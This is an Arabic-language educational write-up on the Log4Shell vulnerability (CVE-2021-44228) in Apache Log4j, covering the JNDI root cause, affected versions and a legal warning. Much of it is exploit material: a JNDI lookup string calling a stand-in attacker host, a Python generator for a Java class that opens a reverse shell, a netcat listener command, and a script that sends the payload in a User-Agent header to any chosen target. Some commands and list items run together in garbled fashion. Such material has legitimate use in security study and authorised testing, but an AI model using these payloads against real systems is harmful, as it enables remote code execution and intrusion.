
تحليل تعليمي لـ CVE-2021-44228 (Log4Shell) مع نصوص إثبات المفهوم (PoC)، وتحليل لسلسلة الهجوم، وإرشادات للتخفيف من أجل فهم واختبار الثغرة الحرجة لتنفيذ الأوامر عن بُعد (RCE) في Apache Log4j.
تأثير حرج (CVSS 10.0) | اكتُشفت في عام 2021، هذا الخلل في Apache Log4j يسمح بتنفيذ التعليمات البرمجية عن بُعد (RCE) ويؤثر على ملايين الأنظمة عالمياً. لا يزال حتى اليوم تذكيراً رئيسياً للأمن السيبراني!
CVE-2021-44228، المعروفة باسم Log4Shell، هي ثغرة أمنية حرجة من نوع تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكتبة التسجيل Apache Log4j 2. يسمح هذا الخلل للمهاجمين الخبيثين بتنفيذ كود عشوائي على الخوادم الضعيفة بمجرد إرسال سلسلة نصية مصممة خصيصاً تسجلها التطبيق.
Log4Shell ليست وحدها؛ نتج عنها CVE-2021-45046 (RCE/DoS) و CVE-2021-45105 (DoS) و CVE-2021-4104 (RCE في Log4j 1.2).
جوهر المشكلة هو المعالجة غير الآمنة لـ JNDI (واجهة تسمية ودليل جافا) في Log4j، الذي يحل عمليات البحث عن بُعد دون تنقية.
${jndi:ldap://atacante.com:1389/Exploit}
كيف يعمل:
${...} ويقوم بتفعيل بحث JNDI.البروتوكولات القابلة للاستغلال: LDAP، RMI، DNS، IIOP، وغيرها. هذا يتيح تهديدات مثل:
سلسلة العدوى (Kill Chain):
| الخاصية | التفاصيل |
|---|---|
| درجة CVSS v3.1 | 10.0 (حرج) 🔥 - أقصى درجة خطورة ممكنة. |
| الإصدارات المتأثرة | Log4j 2.0-beta9 إلى 2.14.1 (يتضمن مشتقات حتى 2.16.0 للثغرات الفرعية). |
| السبب الجذري | استبدال رسائل JNDI دون تحقق؛ تمكين عمليات البحث عن بُعد. |
| النواقل | عن بُعد، غير مصادق؛ يؤثر على Java 8+ في تطبيقات الويب/السحابة. |
| المنتجات المتأثرة | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter، وغيرها. |
| الاستغلال | سهل: PoCs عامة على GitHub؛ لا يحتاج صلاحيات. |
إحصائيات التأثير:
90% من البيئات السحابية معرضة في البداية.
⚠️ تحذير: هذا المحتوى لأغراض تعليمية واختبارات مصرح بها فقط. لا تستخدم هذا على أنظمة دون إذن صريح. استغلال الثغرات دون تصريح غير قانوني (مثل انتهاك قوانين CFAA في الولايات المتحدة). قم دائماً بإجراء اختبار الاختراق الأخلاقي.
بناءً على المستودعات العامة مثل kozmer/log4j-shell-poc، إليك نظرة عامة مبسطة لـ PoC في بيئات خاضعة للرقابة (مثل Docker/VM محلي).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (كود شل عكسي مبسط)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] تم إنشاء فئة Exploit بنجاح')
except Exception as e:
print(Fore.RED + f'[-] خطأ: {e}')
# ... (دوال لخادم LDAP وخادم ويب مشابهة للأصلية)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] PoC تعليمي لـ CVE-2021-44228 - استخدمها فقط في المختبرات!")
# الوسائط: --userip localhost --webport 8000 --lport 9001
# تشغيل LDAP، خادم ويب وإنشاء الحمولة
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - مراقبة الشل العكسي.${jndi:ldap://127.0.0.1:1389/a} في حقل تسجيل دخول/بحث.PoC بسيط في بايثون (مستمع + استغلال): للعروض السريعة، استخدم هذا الثنائي من السكريبتات (شغّل المستمع أولاً).
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] مستمع على {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] اتصال من {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("اضغط Enter للإيقاف...\n") # يبقيه حياً
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] أُرسل إلى {target} | الحالة: {r.status_code}")
except Exception as e:
print(f"[!] خطأ: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)